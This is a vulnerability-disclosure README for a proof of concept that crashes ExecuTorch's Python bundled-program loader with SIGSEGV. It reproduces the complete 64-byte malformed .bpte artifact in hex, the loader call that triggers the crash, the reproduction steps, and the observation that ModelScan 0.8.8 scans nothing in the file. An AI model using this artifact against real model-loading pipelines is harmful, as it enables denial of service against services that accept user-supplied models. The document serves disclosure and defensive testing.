executorch-bpte-short-identifier-crash-poc

Benign ExecuTorch BPTE Bundled Program Loader Crash PoC

This repository contains a benign crash-only PoC for ExecuTorch bundled program artifacts. A 64-byte .bpte file containing the bundled-program flatbuffer identifier BP08 is accepted by the shipped Python pybinding loader path, then the native loader dereferences missing bundled-program fields and the Python process terminates with SIGSEGV.

Files

• short_identifier_padded_64.bpte: crashing 64-byte ExecuTorch bundled program artifact.
• valid_bundled_program.bpte: valid control artifact copied from the ExecuTorch source test resource.
• make_poc.py: generator for the 64-byte crashing artifact.
• verify_poc.py: verifier that loads the control and crash artifacts in child Python processes.
• results/verify_poc_output.json: captured verifier output showing control success and crash return code.
• results/runtime_short_identifier_crash.txt: captured crash reproduction output.
• results/runtime_valid_control.txt: captured valid-control output.
• results/modelscan_0.8.8_output.json: scanner output captured locally.

Affected Target

• Data format: ExecuTorch bundled program .bpte
• Package tested: executorch==1.2.0
• PyTorch dependency tested: torch==2.11.0
• Python tested: 3.12.3
• Public version check on 2026-05-12: the official ExecuTorch docs list 1.2 as stable, and the GitHub releases page lists the 1.2.0 release aligned with PyTorch 2.11.
• Entry point: executorch.extension.pybindings.portable_lib._load_bundled_program_from_buffer(data)

Reference links:

• https://docs.pytorch.org/executorch/versions.html
• https://github.com/pytorch/executorch/releases
• https://pypi.org/project/executorch/

Impact

Applications or validation pipelines that accept .bpte bundled program artifacts and pass their bytes to the bundled-program pybinding loader can be crashed by a tiny model artifact. This is denial of service only. No code execution, memory disclosure, file write, persistence, or network behavior is claimed.

The crash is not just a scanner skip. The valid control loads as BundledModule in the same environment, while the malformed .bpte terminates the child Python process with SIGSEGV.

Reproduction

Install the current ExecuTorch Python wheel in a Python 3.12 environment, then run:

hf download pragnyanramtha/executorch-bpte-short-identifier-crash-poc \
  --repo-type model \
  --local-dir executorch-bpte-short-identifier-crash-poc
cd executorch-bpte-short-identifier-crash-poc

python3 -m pip install executorch==1.2.0
python3 verify_poc.py --python "$(command -v python3)"

Expected vulnerable result:

control.returncode: 0
control.stdout includes: loaded BundledModule
crash.returncode: -11
expected vulnerable result observed: crash artifact terminates with SIGSEGV

The direct loader call is:

from pathlib import Path
from executorch.extension.pybindings import portable_lib

data = Path("short_identifier_padded_64.bpte").read_bytes()
portable_lib._load_bundled_program_from_buffer(data)

Artifact Construction

The PoC file is a minimal flatbuffer-looking buffer:

04 00 00 00 42 50 30 38 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

It contains a little-endian root offset of 4, the bundled-program identifier BP08, and zero padding to 64 bytes. Regenerate it with:

python3 make_poc.py --out regenerated.bpte

Code Path Notes

The inspected source path dereferences the bundled flatbuffer without an obvious verifier gate before accessing the embedded program vector:

extension/pybindings/pybindings.cpp
  PyBundledModule(buffer)
  bundled_program_flatbuffer::GetBundledProgram(...)->program()->data()
  bundled_program_flatbuffer::GetBundledProgram(...)->program()->size()

extension/module/bundled_module.cpp
  program_data_loader(...)
  bundled_program_flatbuffer::GetBundledProgram(...)->program()

Scanner Behavior

ModelScan 0.8.8 reports zero issues and scans zero files for the .bpte artifact:

modelscan_version: 0.8.8
total_issues: 0
total_scanned: 0

Scanner reproduction:

modelscan -p short_identifier_padded_64.bpte -r json -o results/modelscan_0.8.8_output.json

Hashes

SHA256(short_identifier_padded_64.bpte)=9d67a5c43d3c6fc51b828a29c4c22b7a199d11c3c0bac32c3dafcac6831e7f85
SHA256(valid_bundled_program.bpte)=955750e9eb1072d160680be78e1207cba11bb8843b0c40cc56cc19d6b36f54c8

Limitations

• Denial of service only.
• The pybinding API is marked experimental, but it is shipped in the current ExecuTorch wheel and documented in the pybinding stub.
• The artifact is intentionally minimal and malformed. It is more format-faithful than random bytes because it carries the bundled-program identifier, but it is not a realistic exported bundle.
• No ASAN/UBSAN backtrace is included.